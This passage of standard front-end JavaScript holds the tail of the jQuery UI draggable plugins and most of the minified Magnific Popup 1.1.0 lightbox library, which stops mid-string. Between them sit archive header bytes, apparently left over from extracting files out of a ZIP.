// element has now become. (#8809)
ui.position = sortable.position;
}
} else {
// If it doesn't intersect with the sortable, and it intersected
before,
// we fake the drag stop of the sortable, but make sure it doesn't
remove
// the helper by using cancelHelperRemoval.
if ( sortable.isOver ) {
sortable.isOver = 0;
sortable.cancelHelperRemoval = true;
// Calling sortable's mouseStop would trigger a revert,
// so revert must be temporarily false until after mouseStop is
called.
sortable.options._revert = sortable.options.revert;
sortable.options.revert = false;
sortable._trigger( "out", event, sortable._uiHash( sortable
) );
sortable._mouseStop( event, true );
// Restore sortable behaviors that were modfied
// when the draggable entered the sortable area (#9481)
sortable.options.revert = sortable.options._revert;
sortable.options.helper = sortable.options._helper;
if ( sortable.placeholder ) {
sortable.placeholder.remove();
}
// Restore and recalculate the draggable's offset considering the
sortable
// may have modified them in unexpected ways. (#8809, #10669)
ui.helper.appendTo( draggable._parent );
draggable._refreshOffsets( event );
ui.position = draggable._generatePosition( event, true );
draggable._trigger( "fromSortable", event );
// Inform draggable that the helper is no longer in a valid drop zone
draggable.dropped = false;
// Need to refreshPositions of all sortables just in case removing
// from one sortable changes the location of other sortables (#9675)
$.each( draggable.sortables, function() {
this.refreshPositions();
} );
}
}
} );
}
} );
$.ui.plugin.add( "draggable", "cursor", {
start: function( event, ui, instance ) {
var t = $( "body" ),
o = instance.options;
if ( t.css( "cursor" ) ) {
o._cursor = t.css( "cursor" );
}
t.css( "cursor", o.cursor );
},
stop: function( event, ui, instance ) {
var o = instance.options;
if ( o._cursor ) {
$( "body" ).css( "cursor", o._cursor );
}
}
} );
$.ui.plugin.add( "draggable", "opacity", {
start: function( event, ui, instance ) {
var t = $( ui.helper ),
o = instance.options;
if ( t.css( "opacity" ) ) {
o._opacity = t.css( "opacity" );
}
t.css( "opacity", o.opacity );
},
stop: function( event, ui, instance ) {
var o = instance.options;
if ( o._opacity ) {
$( ui.helper ).css( "opacity", o._opacity );
}
}
} );
$.ui.plugin.add( "draggable", "scroll", {
start: function( event, ui, i ) {
if ( !i.scrollParentNotHidden ) {
i.scrollParentNotHidden = i.helper.scrollParent( false );
}
if ( i.scrollParentNotHidden[ 0 ] !== i.document[ 0 ] &&
i.scrollParentNotHidden[ 0 ].tagName !== "HTML" ) {
i.overflowOffset = i.scrollParentNotHidden.offset();
}
},
drag: function( event, ui, i ) {
var o = i.options,
scrolled = false,
scrollParent = i.scrollParentNotHidden[ 0 ],
document = i.document[ 0 ];
if ( scrollParent !== document && scrollParent.tagName !==
"HTML" ) {
if ( !o.axis || o.axis !== "x" ) {
if ( ( i.overflowOffset.top + scrollParent.offsetHeight ) - event.pageY
<
o.scrollSensitivity ) {
scrollParent.scrollTop = scrolled = scrollParent.scrollTop +
o.scrollSpeed;
} else if ( event.pageY - i.overflowOffset.top < o.scrollSensitivity
) {
scrollParent.scrollTop = scrolled = scrollParent.scrollTop -
o.scrollSpeed;
}
}
if ( !o.axis || o.axis !== "y" ) {
if ( ( i.overflowOffset.left + scrollParent.offsetWidth ) - event.pageX
<
o.scrollSensitivity ) {
scrollParent.scrollLeft = scrolled = scrollParent.scrollLeft +
o.scrollSpeed;
} else if ( event.pageX - i.overflowOffset.left <
o.scrollSensitivity ) {
scrollParent.scrollLeft = scrolled = scrollParent.scrollLeft -
o.scrollSpeed;
}
}
} else {
if ( !o.axis || o.axis !== "x" ) {
if ( event.pageY - $( document ).scrollTop() < o.scrollSensitivity )
{
scrolled = $( document ).scrollTop( $( document ).scrollTop() -
o.scrollSpeed );
} else if ( $( window ).height() - ( event.pageY - $( document
).scrollTop() ) <
o.scrollSensitivity ) {
scrolled = $( document ).scrollTop( $( document ).scrollTop() +
o.scrollSpeed );
}
}
if ( !o.axis || o.axis !== "y" ) {
if ( event.pageX - $( document ).scrollLeft() < o.scrollSensitivity
) {
scrolled = $( document ).scrollLeft(
$( document ).scrollLeft() - o.scrollSpeed
);
} else if ( $( window ).width() - ( event.pageX - $( document
).scrollLeft() ) <
o.scrollSensitivity ) {
scrolled = $( document ).scrollLeft(
$( document ).scrollLeft() + o.scrollSpeed
);
}
}
}
if ( scrolled !== false && $.ui.ddmanager &&
!o.dropBehaviour ) {
$.ui.ddmanager.prepareOffsets( i, event );
}
}
} );
$.ui.plugin.add( "draggable", "snap", {
start: function( event, ui, i ) {
var o = i.options;
i.snapElements = [];
$( o.snap.constructor !== String ? ( o.snap.items ||
":data(ui-draggable)" ) : o.snap )
.each( function() {
var $t = $( this ),
$o = $t.offset();
if ( this !== i.element[ 0 ] ) {
i.snapElements.push( {
item: this,
width: $t.outerWidth(), height: $t.outerHeight(),
top: $o.top, left: $o.left
} );
}
} );
},
drag: function( event, ui, inst ) {
var ts, bs, ls, rs, l, r, t, b, i, first,
o = inst.options,
d = o.snapTolerance,
x1 = ui.offset.left, x2 = x1 + inst.helperProportions.width,
y1 = ui.offset.top, y2 = y1 + inst.helperProportions.height;
for ( i = inst.snapElements.length - 1; i >= 0; i-- ) {
l = inst.snapElements[ i ].left - inst.margins.left;
r = l + inst.snapElements[ i ].width;
t = inst.snapElements[ i ].top - inst.margins.top;
b = t + inst.snapElements[ i ].height;
if ( x2 < l - d || x1 > r + d || y2 < t - d || y1 > b + d ||
!$.contains( inst.snapElements[ i ].item.ownerDocument,
inst.snapElements[ i ].item ) ) {
if ( inst.snapElements[ i ].snapping ) {
( inst.options.snap.release &&
inst.options.snap.release.call(
inst.element,
event,
$.extend( inst._uiHash(), { snapItem: inst.snapElements[ i ].item }
)
) );
}
inst.snapElements[ i ].snapping = false;
continue;
}
if ( o.snapMode !== "inner" ) {
ts = Math.abs( t - y2 ) <= d;
bs = Math.abs( b - y1 ) <= d;
ls = Math.abs( l - x2 ) <= d;
rs = Math.abs( r - x1 ) <= d;
if ( ts ) {
ui.position.top = inst._convertPositionTo( "relative", {
top: t - inst.helperProportions.height,
left: 0
} ).top;
}
if ( bs ) {
ui.position.top = inst._convertPositionTo( "relative", {
top: b,
left: 0
} ).top;
}
if ( ls ) {
ui.position.left = inst._convertPositionTo( "relative", {
top: 0,
left: l - inst.helperProportions.width
} ).left;
}
if ( rs ) {
ui.position.left = inst._convertPositionTo( "relative", {
top: 0,
left: r
} ).left;
}
}
first = ( ts || bs || ls || rs );
if ( o.snapMode !== "outer" ) {
ts = Math.abs( t - y1 ) <= d;
bs = Math.abs( b - y2 ) <= d;
ls = Math.abs( l - x1 ) <= d;
rs = Math.abs( r - x2 ) <= d;
if ( ts ) {
ui.position.top = inst._convertPositionTo( "relative", {
top: t,
left: 0
} ).top;
}
if ( bs ) {
ui.position.top = inst._convertPositionTo( "relative", {
top: b - inst.helperProportions.height,
left: 0
} ).top;
}
if ( ls ) {
ui.position.left = inst._convertPositionTo( "relative", {
top: 0,
left: l
} ).left;
}
if ( rs ) {
ui.position.left = inst._convertPositionTo( "relative", {
top: 0,
left: r - inst.helperProportions.width
} ).left;
}
}
if ( !inst.snapElements[ i ].snapping && ( ts || bs || ls || rs
|| first ) ) {
( inst.options.snap.snap &&
inst.options.snap.snap.call(
inst.element,
event,
$.extend( inst._uiHash(), {
snapItem: inst.snapElements[ i ].item
} ) ) );
}
inst.snapElements[ i ].snapping = ( ts || bs || ls || rs || first );
}
}
} );
$.ui.plugin.add( "draggable", "stack", {
start: function( event, ui, instance ) {
var min,
o = instance.options,
group = $.makeArray( $( o.stack ) ).sort( function( a, b ) {
return ( parseInt( $( a ).css( "zIndex" ), 10 ) || 0 ) -
( parseInt( $( b ).css( "zIndex" ), 10 ) || 0 );
} );
if ( !group.length ) { return; }
min = parseInt( $( group[ 0 ] ).css( "zIndex" ), 10 ) || 0;
$( group ).each( function( i ) {
$( this ).css( "zIndex", min + i );
} );
this.css( "zIndex", ( min + group.length ) );
}
} );
$.ui.plugin.add( "draggable", "zIndex", {
start: function( event, ui, instance ) {
var t = $( ui.helper ),
o = instance.options;
if ( t.css( "zIndex" ) ) {
o._zIndex = t.css( "zIndex" );
}
t.css( "zIndex", o.zIndex );
},
stop: function( event, ui, instance ) {
var o = instance.options;
if ( o._zIndex ) {
$( ui.helper ).css( "zIndex", o._zIndex );
}
}
} );
var widgetsDraggable = $.ui.draggable;
}));PK2��[h*^�N�Njs/jquery.magnific-popup.min.jsnu�[���/*!
Magnific Popup - v1.1.0 - 2016-02-20
* http://dimsemenov.com/plugins/magnific-popup/
* Copyright (c) 2016 Dmitry Semenov; */
!function(a){"function"==typeof
define&&define.amd?define(["jquery"],a):a("object"==typeof
exports?require("jquery"):window.jQuery||window.Zepto)}(function(a){var
b,c,d,e,f,g,h="Close",i="BeforeClose",j="AfterClose",k="BeforeAppend",l="MarkupParse",m="Open",n="Change",o="mfp",p="."+o,q="mfp-ready",r="mfp-removing",s="mfp-prevent-close",t=function(){},u=!!window.jQuery,v=a(window),w=function(a,c){b.ev.on(o+a+p,c)},x=function(b,c,d,e){var
f=document.createElement("div");return
f.className="mfp-"+b,d&&(f.innerHTML=d),e?c&&c.appendChild(f):(f=a(f),c&&f.appendTo(c)),f},y=function(c,d){b.ev.triggerHandler(o+c,d),b.st.callbacks&&(c=c.charAt(0).toLowerCase()+c.slice(1),b.st.callbacks[c]&&b.st.callbacks[c].apply(b,a.isArray(d)?d:[d]))},z=function(c){return
c===g&&b.currTemplate.closeBtn||(b.currTemplate.closeBtn=a(b.st.closeMarkup.replace("%title%",b.st.tClose)),g=c),b.currTemplate.closeBtn},A=function(){a.magnificPopup.instance||(b=new
t,b.init(),a.magnificPopup.instance=b)},B=function(){var
a=document.createElement("p").style,b=["ms","O","Moz","Webkit"];if(void
0!==a.transition)return!0;for(;b.length;)if(b.pop()+"Transition"in
a)return!0;return!1};t.prototype={constructor:t,init:function(){var
c=navigator.appVersion;b.isLowIE=b.isIE8=document.all&&!document.addEventListener,b.isAndroid=/android/gi.test(c),b.isIOS=/iphone|ipad|ipod/gi.test(c),b.supportsTransition=B(),b.probablyMobile=b.isAndroid||b.isIOS||/(Opera
Mini)|Kindle|webOS|BlackBerry|(Opera Mobi)|(Windows
Phone)|IEMobile/i.test(navigator.userAgent),d=a(document),b.popupsCache={}},open:function(c){var
e;if(c.isObj===!1){b.items=c.items.toArray(),b.index=0;var
g,h=c.items;for(e=0;e<h.length;e++)if(g=h[e],g.parsed&&(g=g.el[0]),g===c.el[0]){b.index=e;break}}else
b.items=a.isArray(c.items)?c.items:[c.items],b.index=c.index||0;if(b.isOpen)return
void
b.updateItemHTML();b.types=[],f="",c.mainEl&&c.mainEl.length?b.ev=c.mainEl.eq(0):b.ev=d,c.key?(b.popupsCache[c.key]||(b.popupsCache[c.key]={}),b.currTemplate=b.popupsCache[c.key]):b.currTemplate={},b.st=a.extend(!0,{},a.magnificPopup.defaults,c),b.fixedContentPos="auto"===b.st.fixedContentPos?!b.probablyMobile:b.st.fixedContentPos,b.st.modal&&(b.st.closeOnContentClick=!1,b.st.closeOnBgClick=!1,b.st.showCloseBtn=!1,b.st.enableEscapeKey=!1),b.bgOverlay||(b.bgOverlay=x("bg").on("click"+p,function(){b.close()}),b.wrap=x("wrap").attr("tabindex",-1).on("click"+p,function(a){b._checkIfClose(a.target)&&b.close()}),b.container=x("container",b.wrap)),b.contentContainer=x("content"),b.st.preloader&&(b.preloader=x("preloader",b.container,b.st.tLoading));var
i=a.magnificPopup.modules;for(e=0;e<i.length;e++){var
j=i[e];j=j.charAt(0).toUpperCase()+j.slice(1),b["init"+j].call(b)}y("BeforeOpen"),b.st.showCloseBtn&&(b.st.closeBtnInside?(w(l,function(a,b,c,d){c.close_replaceWith=z(d.type)}),f+="
mfp-close-btn-in"):b.wrap.append(z())),b.st.alignTop&&(f+="
mfp-align-top"),b.fixedContentPos?b.wrap.css({overflow:b.st.overflowY,overflowX:"hidden",overflowY:b.st.overflowY}):b.wrap.css({top:v.scrollTop(),position:"absolute"}),(b.st.fixedBgPos===!1||"auto"===b.st.fixedBgPos&&!b.fixedContentPos)&&b.bgOverlay.css({height:d.height(),position:"absolute"}),b.st.enableEscapeKey&&d.on("keyup"+p,function(a){27===a.keyCode&&b.close()}),v.on("resize"+p,function(){b.updateSize()}),b.st.closeOnContentClick||(f+="
mfp-auto-cursor"),f&&b.wrap.addClass(f);var
k=b.wH=v.height(),n={};if(b.fixedContentPos&&b._hasScrollBar(k)){var
o=b._getScrollbarSize();o&&(n.marginRight=o)}b.fixedContentPos&&(b.isIE7?a("body,
html").css("overflow","hidden"):n.overflow="hidden");var
r=b.st.mainClass;return b.isIE7&&(r+="
mfp-ie7"),r&&b._addClassToMFP(r),b.updateItemHTML(),y("BuildControls"),a("html").css(n),b.bgOverlay.add(b.wrap).prependTo(b.st.prependTo||a(document.body)),b._lastFocusedEl=document.activeElement,setTimeout(function(){b.content?(b._addClassToMFP(q),b._setFocus()):b.bgOverlay.addClass(q),d.on("focusin"+p,b._onFocusIn)},16),b.isOpen=!0,b.updateSize(k),y(m),c},close:function(){b.isOpen&&(y(i),b.isOpen=!1,b.st.removalDelay&&!b.isLowIE&&b.supportsTransition?(b._addClassToMFP(r),setTimeout(function(){b._close()},b.st.removalDelay)):b._close())},_close:function(){y(h);var
c=r+" "+q+"
";if(b.bgOverlay.detach(),b.wrap.detach(),b.container.empty(),b.st.mainClass&&(c+=b.st.mainClass+"
"),b._removeClassFromMFP(c),b.fixedContentPos){var
e={marginRight:""};b.isIE7?a("body,
html").css("overflow",""):e.overflow="",a("html").css(e)}d.off("keyup"+p+"
focusin"+p),b.ev.off(p),b.wrap.attr("class","mfp-wrap").removeAttr("style"),b.bgOverlay.attr("class","mfp-bg"),b.container.attr("class","mfp-container"),!b.st.showCloseBtn||b.st.closeBtnInside&&b.currTemplate[b.currItem.type]!==!0||b.currTemplate.closeBtn&&b.currTemplate.closeBtn.detach(),b.st.autoFocusLast&&b._lastFocusedEl&&a(b._lastFocusedEl).focus(),b.currItem=null,b.content=null,b.currTemplate=null,b.prevHeight=0,y(j)},updateSize:function(a){if(b.isIOS){var
c=document.documentElement.clientWidth/window.innerWidth,d=window.innerHeight*c;b.wrap.css("height",d),b.wH=d}else
b.wH=a||v.height();b.fixedContentPos||b.wrap.css("height",b.wH),y("Resize")},updateItemHTML:function(){var
c=b.items[b.index];b.contentContainer.detach(),b.content&&b.content.detach(),c.parsed||(c=b.parseEl(b.index));var
d=c.type;if(y("BeforeChange",[b.currItem?b.currItem.type:"",d]),b.currItem=c,!b.currTemplate[d]){var
f=b.st[d]?b.st[d].markup:!1;y("FirstMarkupParse",f),f?b.currTemplate[d]=a(f):b.currTemplate[d]=!0}e&&e!==c.type&&b.container.removeClass("mfp-"+e+"-holder");var
g=b["get"+d.charAt(0).toUpperCase()+d.slice(1)](c,b.currTemplate[d]);b.appendContent(g,d),c.preloaded=!0,y(n,c),e=c.type,b.container.prepend(b.contentContainer),y("AfterChange")},appendContent:function(a,c){b.content=a,a?b.st.showCloseBtn&&b.st.closeBtnInside&&b.currTemplate[c]===!0?b.content.find(".mfp-close").length||b.content.append(z()):b.content=a:b.content="",y(k),b.container.addClass("mfp-"+c+"-holder"),b.contentContainer.append(b.content)},parseEl:function(c){var
d,e=b.items[c];if(e.tagName?e={el:a(e)}:(d=e.type,e={data:e,src:e.src}),e.el){for(var
f=b.types,g=0;g<f.length;g++)if(e.el.hasClass("mfp-"+f[g])){d=f[g];break}e.src=e.el.attr("data-mfp-src"),e.src||(e.src=e.el.attr("href"))}return
e.type=d||b.st.type||"inline",e.index=c,e.parsed=!0,b.items[c]=e,y("ElementParse",e),b.items[c]},addGroup:function(a,c){var
d=function(d){d.mfpEl=this,b._openClick(d,a,c)};c||(c={});var
e="click.magnificPopup";c.mainEl=a,c.items?(c.isObj=!0,a.off(e).on(e,d)):(c.isObj=!1,c.delegate?a.off(e).on(e,c.delegate,d):(c.items=a,a.off(e).on(e,d)))},_openClick:function(c,d,e){var
f=void
0!==e.midClick?e.midClick:a.magnificPopup.defaults.midClick;if(f||!(2===c.which||c.ctrlKey||c.metaKey||c.altKey||c.shiftKey)){var
g=void
0!==e.disableOn?e.disableOn:a.magnificPopup.defaults.disableOn;if(g)if(a.isFunction(g)){if(!g.call(b))return!0}else
if(v.width()<g)return!0;c.type&&(c.preventDefault(),b.isOpen&&c.stopPropagation()),e.el=a(c.mfpEl),e.delegate&&(e.items=d.find(e.delegate)),b.open(e)}},updateStatus:function(a,d){if(b.preloader){c!==a&&b.container.removeClass("mfp-s-"+c),d||"loading"!==a||(d=b.st.tLoading);var
e={status:a,text:d};y("UpdateStatus",e),a=e.status,d=e.text,b.preloader.html(d),b.preloader.find("a").on("click",function(a){a.stopImmediatePropagation()}),b.container.addClass("mfp-s-"+a),c=a}},_checkIfClose:function(c){if(!a(c).hasClass(s)){var
d=b.st.closeOnContentClick,e=b.st.closeOnBgClick;if(d&&e)return!0;if(!b.content||a(c).hasClass("mfp-close")||b.preloader&&c===b.preloader[0])return!0;if(c===b.content[0]||a.contains(b.content[0],c)){if(d)return!0}else
if(e&&a.contains(document,c))return!0;return!1}},_addClassToMFP:function(a){b.bgOverlay.addClass(a),b.wrap.addClass(a)},_removeClassFromMFP:function(a){this.bgOverlay.removeClass(a),b.wrap.removeClass(a)},_hasScrollBar:function(a){return(b.isIE7?d.height():document.body.scrollHeight)>(a||v.height())},_setFocus:function(){(b.st.focus?b.content.find(b.st.focus).eq(0):b.wrap).focus()},_onFocusIn:function(c){return
c.target===b.wrap[0]||a.contains(b.wrap[0],c.target)?void
0:(b._setFocus(),!1)},_parseMarkup:function(b,c,d){var
e;d.data&&(c=a.extend(d.data,c)),y(l,[b,c,d]),a.each(c,function(c,d){if(void
0===d||d===!1)return!0;if(e=c.split("_"),e.length>1){var
f=b.find(p+"-"+e[0]);if(f.length>0){var
g=e[1];"replaceWith"===g?f[0]!==d[0]&&f.replaceWith(d):"img"===g?f.is("img")?f.attr("src",d):f.replaceWith(a("<img>").attr("src",d).attr("class",f.attr("class"))):f.attr(e[1],d)}}else
b.find(p+"-"+c).html(d)})},_getScrollbarSize:function(){if(void
0===b.scrollbarSize){var
a=document.createElement("div");a.style.cssText="width:
99px; height: 99px; overflow: scroll; position: absolute; top:
-9999px;",document.body.appendChild(a),b.scrollbarSize=a.offsetWidth-a.clientWidth,document.body.removeChild(a)}return
b.scrollbarSize}},a.magnificPopup={instance:null,proto:t.prototype,modules:[],open:function(b,c){return
A(),b=b?a.extend(!0,{},b):{},b.isObj=!0,b.index=c||0,this.instance.open(b)},close:function(){return
a.magnificPopup.instance&&a.magnificPopup.instance.close()},registerModule:function(b,c){c.options&&(a.magnificPopup.defaults[b]=c.options),a.extend(this.proto,c.proto),this.modules.push(b)},defaults:{disableOn:0,key:null,midClick:!1,mainClass:"",preloader:!0,focus:"",closeOnContentClick:!1,closeOnBgClick:!0,closeBtnInside:!0,showCloseBtn:!0,enableEscapeKey:!0,modal:!1,alignTop:!1,removalDelay:0,prependTo:null,fixedContentPos:"auto",fixedBgPos:"auto",overflowY:"auto",closeMarkup:'<button
title="%title%" type="button"
class="mfp-close">×</button>',tClose:"Close
(Esc)",tLoading:"Loading...",autoFocusLast:!0}},a.fn.magnificPopup=function(c){A();var
d=a(this);if("string"==typeof c)if("open"===c){var
e,f=u?d.data("magnificPopup"):d[0].magnificPopup,g=parseInt(arguments[1],10)||0;f.items?e=f.items[g]:(e=d,f.delegate&&(e=e.find(f.delegate)),e=e.eq(g)),b._openClick({mfpEl:e},d,f)}else
b.isOpen&&b[c].apply(b,Array.prototype.slice.call(arguments,1));else
c=a.extend(!0,{},c),u?d.data("magnificPopup",c):d[0].magnificPopup=c,b.addGroup(d,c);return
d};var
C,D,E,F="inline",G=function(){E&&(D.after(E.addClass(C)).detach(),E=null)};a.magnificPopup.registerModule(F,{options:{hiddenClass:"hide",markup:"",tNotFound:"Content
not
found"},proto:{initInline:function(){b.types.push(F),w(h+"."+F,function(){G()})},getInline:function(c,d){if(G(),c.src){var
e=b.st.inline,f=a(c.src);if(f.length){var
g=f[0].parentNode;g&&g.tagName&&(D||(C=e.hiddenClass,D=x(C),C="mfp-"+C),E=f.after(D).detach().removeClass(C)),b.updateStatus("ready")}else
b.updateStatus("error",e.tNotFound),f=a("<div>");return
c.inlineElement=f,f}return
b.updateStatus("ready"),b._parseMarkup(d,{},c),d}}});var
H,I="ajax",J=function(){H&&a(document.body).removeClass(H)},K=function(){J(),b.req&&b.req.abort()};a.magnificPopup.registerModule(I,{options:{settings:null,cursor:"mfp-ajax-cur",tError:'<a
href="%url%">The content</a> could not be
loaded.'},proto:{initAjax:function(){b.types.push(I),H=b.st.ajax.cursor,w(h+"."+I,K),w("BeforeChange."+I,K)},getAjax:function(c){H&&a(document.body).addClass(H),b.updateStatus("loading");var
d=a.extend({url:c.src,success:function(d,e,f){var
g={data:d,xhr:f};y("ParseAjax",g),b.appendContent(a(g.data),I),c.finished=!0,J(),b._setFocus(),setTimeout(function(){b.wrap.addClass(q)},16),b.updateStatus("ready"),y("AjaxContentAdded")},error:function(){J(),c.finished=c.loadError=!0,b.updateStatus("error",b.st.ajax.tError.replace("%url%",c.src))}},b.st.ajax.settings);return
b.req=a.ajax(d),""}}});var
L,M=function(c){if(c.data&&void 0!==c.data.title)return
c.data.title;var d=b.st.image.titleSrc;if(d){if(a.isFunction(d))return
d.call(b,c);if(c.el)return
c.el.attr(d)||""}return""};a.magnificPopup.registerModule("image",{options:{markup:'<div
class="mfp-figure"><div
class="mfp-close"></div><figure><div
class="mfp-img"></div><figcaption><div
class="mfp-bottom-bar"><div
class="mfp-title"></div><div
class="mfp-counter"></div></div></figcaption></figure></div>',cursor:"mfp-zoom-out-cur",titleSrc:"title",verticalFit:!0,tError:'<a
href="%url%">The image</a> could not be
loaded.'},proto:{initImage:function(){var
c=b.st.image,d=".image";b.types.push("image"),w(m+d,function(){"image"===b.currItem.type&&c.cursor&&a(document.body).addClass(c.cursor)}),w(h+d,function(){c.cursor&&a(document.body).removeClass(c.cursor),v.off("resize"+p)}),w("Resize"+d,b.resizeImage),b.isLowIE&&w("AfterChange",b.resizeImage)},resizeImage:function(){var
a=b.currItem;if(a&&a.img&&b.st.image.verticalFit){var
c=0;b.isLowIE&&(c=parseInt(a.img.css("padding-top"),10)+parseInt(a.img.css("padding-bottom"),10)),a.img.css("max-height",b.wH-c)}},_onImageHasSize:function(a){a.img&&(a.hasSize=!0,L&&clearInterval(L),a.isCheckingImgSize=!1,y("ImageHasSize",a),a.imgHidden&&(b.content&&b.content.removeClass("mfp-loading"),a.imgHidden=!1))},findImageSize:function(a){var
c=0,d=a.img[0],e=function(f){L&&clearInterval(L),L=setInterval(function(){return
d.naturalWidth>0?void
b._onImageHasSize(a):(c>200&&clearInterval(L),c++,void(3===c?e(10):40===c?e(50):100===c&&e(500)))},f)};e(1)},getImage:function(c,d){var
e=0,f=function(){c&&(c.img[0].complete?(c.img.off(".mfploader"),c===b.currItem&&(b._onImageHasSize(c),b.updateStatus("ready")),c.hasSize=!0,c.loaded=!0,y("ImageLoadComplete")):(e++,200>e?setTimeout(f,100):g()))},g=function(){c&&(c.img.off(".mfploader"),c===b.currItem&&(b._onImageHasSize(c),b.updateStatus("error",h.tError.replace("%url%",c.src))),c.hasSize=!0,c.loaded=!0,c.loadError=!0)},h=b.st.image,i=d.find(".mfp-img");if(i.length){var
j=document.createElement("img");j.className="mfp-img",c.el&&c.el.find("img").length&&(j.alt=c.el.find("img").attr("alt")),c.img=a(j).on("load.mfploader",f).on("error.mfploader",g),j.src=c.src,i.is("img")&&(c.img=c.img.clone()),j=c.img[0],j.naturalWidth>0?c.hasSize=!0:j.width||(c.hasSize=!1)}return
b._parseMarkup(d,{title:M(c),img_replaceWith:c.img},c),b.resizeImage(),c.hasSize?(L&&clearInterval(L),c.loadError?(d.addClass("mfp-loading"),b.updateStatus("error",h.tError.replace("%url%",c.src))):(d.removeClass("mfp-loading"),b.updateStatus("ready")),d):(b.updateStatus("loading"),c.loading=!0,c.hasSize||(c.imgHidden=!0,d.addClass("mfp-loading"),b.findImageSize(c)),d)}}});var
N,O=function(){return void 0===N&&(N=void
0!==document.createElement("p").style.MozTransform),N};a.magnificPopup.registerModule("zoom",{options:{enabled:!1,easing:"ease-in-out",duration:300,opener:function(a){return
a.is("img")?a:a.find("img")}},proto:{initZoom:function(){var
a,c=b.st.zoom,d=".zoom";if(c.enabled&&b.supportsTransition){var
e,f,g=c.duration,j=function(a){var
b=a.clone().removeAttr("style").removeAttr("class").addClass("mfp-animated-image"),d="all
"+c.duration/1e3+"s
"+c.easing,e={position:"fixed",zIndex:9999,left:0,top:0,"-webkit-backface-visibility":"hidden"},f="transition";return
e["-webkit-"+f]=e["-moz-"+f]=e["-o-"+f]=e[f]=d,b.css(e),b},k=function(){b.content.css("visibility","visible")};w("BuildControls"+d,function(){if(b._allowZoom()){if(clearTimeout(e),b.content.css("visibility","hidden"),a=b._getItemToZoom(),!a)return
void
k();f=j(a),f.css(b._getOffset()),b.wrap.append(f),e=setTimeout(function(){f.css(b._getOffset(!0)),e=setTimeout(function(){k(),setTimeout(function(){f.remove(),a=f=null,y("ZoomAnimationEnded")},16)},g)},16)}}),w(i+d,function(){if(b._allowZoom()){if(clearTimeout(e),b.st.removalDelay=g,!a){if(a=b._getItemToZoom(),!a)return;f=j(a)}f.css(b._getOffset(!0)),b.wrap.append(f),b.content.css("visibility","hidden"),setTimeout(function(){f.css(b._getOffset())},16)}}),w(h+d,function(){b._allowZoom()&&(k(),f&&f.remove(),a=null)})}},_allowZoom:function(){return"image"===b.currItem.type},_getItemToZoom:function(){return
b.currItem.hasSize?b.currItem.img:!1},_getOffset:function(c){var
d;d=c?b.currItem.img:b.st.zoom.opener(b.currItem.el||b.currItem);var
e=d.offset(),f=parseInt(d.css("padding-top"),10),g=parseInt(d.css("padding-bottom"),10);e.top-=a(window).scrollTop()-f;var
h={width:d.width(),height:(u?d.innerHeight():d[0].offsetHeight)-g-f};return
O()?h["-moz-transform"]=h.transform="translate("+e.left+"px,"+e.top+"px)":(h.left=e.left,h.top=e.top),h}}});var
P="iframe",Q="//about:blank",R=function(a){if(b.currTemplate[P]){var
c=b.currTemplate[P].find("iframe");c.length&&(a||(c[0].src=Q),b.isIE8&&c.css("display",a?"block":"none"))}};a.magnificPopup.registerModule(P,{options:{markup:'<div
class="mfp-iframe-scaler"><div
class="mfp-close"></div><iframe
class="mfp-iframe" src="//about:blank"
frameborder="0"
allowfullscreen></iframe></div>',srcAction:"iframe_src",patterns:{youtube:{index:"youtube.com",id:"v=",src:"//www.youtube.com/embed/%id%?autoplay=1"},vimeo:{index:"vimeo.com/",id:"/",src:"//player.vimeo.com/video/%id%?autoplay=1"},gmaps:{index:"//maps.google.",src:"%id%&output=embed"}}},proto:{initIframe:function(){b.types.push(P),w("BeforeChange",function(a,b,c){b!==c&&(b===P?R():c===P&&R(!0))}),w(h+"."+P,function(){R()})},getIframe:function(c,d){var
e=c.src,f=b.st.iframe;a.each(f.patterns,function(){return
e.indexOf(this.index)>-1?(this.id&&(e="string"==typeof
this.id?e.substr(e.lastIndexOf(this.id)+this.id.length,e.length):this.id.call(this,e)),e=this.src.replace("%id%",e),!1):void
0});var g={};return
f.srcAction&&(g[f.srcAction]=e),b._parseMarkup(d,g,c),b.updateStatus("ready"),d}}});var
S=function(a){var c=b.items.length;return
a>c-1?a-c:0>a?c+a:a},T=function(a,b,c){return
a.replace(/%curr%/gi,b+1).replace(/%total%/gi,c)};a.magnificPopup.registerModule("gallery",{options:{enabled:!1,arrowMarkup:'<button
title="%title%" type="button" class="mfp-arrow
mfp-arrow-%dir%"></button>',preload:[0,2],navigateByImgClick:!0,arrows:!0,tPrev:"Previous
(Left arrow key)",tNext:"Next (Right arrow
key)",tCounter:"%curr% of
%total%"},proto:{initGallery:function(){var
c=b.st.gallery,e=".mfp-gallery";return
b.direction=!0,c&&c.enabled?(f+="
mfp-gallery",w(m+e,function(){c.navigateByImgClick&&b.wrap.on("click"+e,".mfp-img",function(){return
b.items.length>1?(b.next(),!1):void
0}),d.on("keydown"+e,function(a){37===a.keyCode?b.prev():39===a.keyCode&&b.next()})}),w("UpdateStatus"+e,function(a,c){c.text&&(c.text=T(c.text,b.currItem.index,b.items.length))}),w(l+e,function(a,d,e,f){var
g=b.items.length;e.counter=g>1?T(c.tCounter,f.index,g):""}),w("BuildControls"+e,function(){if(b.items.length>1&&c.arrows&&!b.arrowLeft){var
d=c.arrowMarkup,e=b.arrowLeft=a(d.replace(/%title%/gi,c.tPrev).replace(/%dir%/gi,"left")).addClass(s),f=b.arrowRight=a(d.replace(/%title%/gi,c.tNext).replace(/%dir%/gi,"right")).addClass(s);e.click(function(){b.prev()}),f.click(function(){b.next()}),b.container.append(e.add(f))}}),w(n+e,function(){b._preloadTimeout&&clearTimeout(b._preloadTimeout),b._preloadTimeout=setTimeout(function(){b.preloadNearbyImages(),b._preloadTimeout=null},16)}),void
w(h+e,function(){d.off(e),b.wrap.off("click"+e),b.arrowRight=b.arrowLeft=null})):!1},next:function(){b.direction=!0,b.index=S(b.index+1),b.updateItemHTML()},prev:function(){b.direction=!1,b.index=S(b.index-1),b.updateItemHTML()},goTo:function(a){b.direction=a>=b.index,b.index=a,b.updateItemHTML()},preloadNearbyImages:function(){var
a,c=b.st.gallery.preload,d=Math.min(c[0],b.items.length),e=Math.min(c[1],b.items.length);for(a=1;a<=(b.direction?e:d);a++)b._preloadItem(b.index+a);for(a=1;a<=(b.direction?d:e);a++)b._preloadItem(b.index-a)},_preloadItem:function(c){if(c=S(c),!b.items[c].preloaded){var
d=b.items[c];d.parsed||(d=b.parseEl(c)),y("LazyLoad",d),"image"===d.type&&(d.img=a('<img
class="mfp-img"
